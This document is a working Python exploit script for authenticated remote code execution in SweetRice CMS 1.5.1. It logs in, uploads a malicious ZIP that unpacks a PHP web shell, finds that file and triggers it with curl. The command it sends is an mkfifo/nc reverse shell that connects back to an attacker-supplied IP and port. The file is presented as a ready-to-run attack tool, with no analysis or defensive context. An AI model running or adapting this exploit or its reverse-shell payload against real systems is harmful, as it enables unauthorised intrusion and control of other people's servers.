exploit.py

#!/usr/bin/env python3
import argparse
import urllib.parse
import requests
import subprocess
import time
import sys
from pathlib import Path
from termcolor import colored


def banner():
    print(colored("  SweetRice CMS (1.5.1) Remote Code Execution (Authenticated)", "yellow"))
    print(colored("  Weekey@github", "green"))
    print("")

def usage():
    print("  Usage:")
    print("  python3 exploit.py --target-ip IP --username USER --password PASS \\")
    print("                     --attacker-ip IP --port PORT --zip FILE\n")
    print("  Example:")
    print("  python3 exploit.py \\")
    print("    --target-ip 10.10.10.10 \\")
    print("    --username admin \\")
    print("    --password admin123 \\")
    print("    --attacker-ip 10.10.14.5 \\")
    print("    --port 4444 \\")
    print("    --zip shell.zip\n")


def get_cookies(login_url, username, password):
    data = {
        "user": username,
        "passwd": password,
        "rememberMe": ""
    }
    r = requests.post(login_url, data=data, timeout=10)
    r.raise_for_status()
    return r.cookies


def upload_payload(upload_url, target_ip, cookies, zip_path):
    zip_path = Path(zip_path)
    if not zip_path.exists():
        raise FileNotFoundError("ZIP file not found")

    headers = {
        "User-Agent": "Mozilla/5.0",
        "Origin": f"http://{target_ip}",
        "Referer": f"http://{target_ip}/content/as/?type=media_center",
    }

    with zip_path.open("rb") as f:
        files = {"upload[]": (zip_path.name, f, "application/zip")}
        data = {"dir_name": "", "unzip": "1"}

        r = requests.post(
            upload_url,
            headers=headers,
            files=files,
            data=data,
            cookies=cookies,
            timeout=15
        )

    if r.status_code != 200:
        raise RuntimeError("Upload failed")

    print("[+] Payload uploaded successfully")


def find_php_payload(payload_path, cookies):
    r = requests.get(payload_path, cookies=cookies, timeout=10)
    r.raise_for_status()

    cmd = r"""grep -oP 'href="\K[^"]+\.php'"""
    result = subprocess.run(
        cmd,
        shell=True,
        input=r.text,
        text=True,
        capture_output=True
    )

    payload = result.stdout.strip()
    if not payload:
        raise RuntimeError("No PHP payload found")

    print(f"[+] Found payload: {payload}")
    return payload


def trigger_reverse_shell(crafted_url, attacker_ip, port):
    payload = (
        "rm /tmp/f;mkfifo /tmp/f;"
        f"cat /tmp/f|/bin/sh -i 2>&1|nc {attacker_ip} {port} >/tmp/f"
    )

    encoded = urllib.parse.quote(payload)
    cmd = f"curl '{crafted_url}?cmd={encoded}'"

    print("[+] Triggering reverse shell...")
    subprocess.run(cmd, shell=True)


def main():
    banner()

    if len(sys.argv) == 1:
        usage()
        sys.exit(1)

    parser = argparse.ArgumentParser(
        description="SweetRice CMS Authenticated File Upload → Remote Code Execution",
        add_help=True
    )

    parser.add_argument("--target-ip", metavar="IP", required=True, help="Target CMS IP")
    parser.add_argument("--username", metavar="USER", required=True, help="CMS username")
    parser.add_argument("--password", metavar="PASS", required=True, help="CMS password")
    parser.add_argument("--attacker-ip", metavar="IP", required=True, help="Attacker IP")
    parser.add_argument("--port", metavar="PORT", type=int, required=True, help="Attacker port")
    parser.add_argument("--zip", metavar="FILE", required=True, help="Malicious ZIP file")

    args = parser.parse_args()

    login_url = f"http://{args.target_ip}/content/as/?type=signin"
    upload_url = f"http://{args.target_ip}/content/as/?type=media_center&mode=upload"
    payload_path = f"http://{args.target_ip}/content/attachment/"

    try:
        cookies = get_cookies(login_url, args.username, args.password)
        upload_payload(upload_url, args.target_ip, cookies, args.zip)
        time.sleep(2)

        php_file = find_php_payload(payload_path, cookies)
        crafted_url = payload_path + php_file

        trigger_reverse_shell(crafted_url, args.attacker_ip, args.port)
        print("[+] Reverse shell triggered")

    except Exception as e:
        print(colored(f"[!] Error: {e}", "red"))
        sys.exit(1)


if __name__ == "__main__":
    main()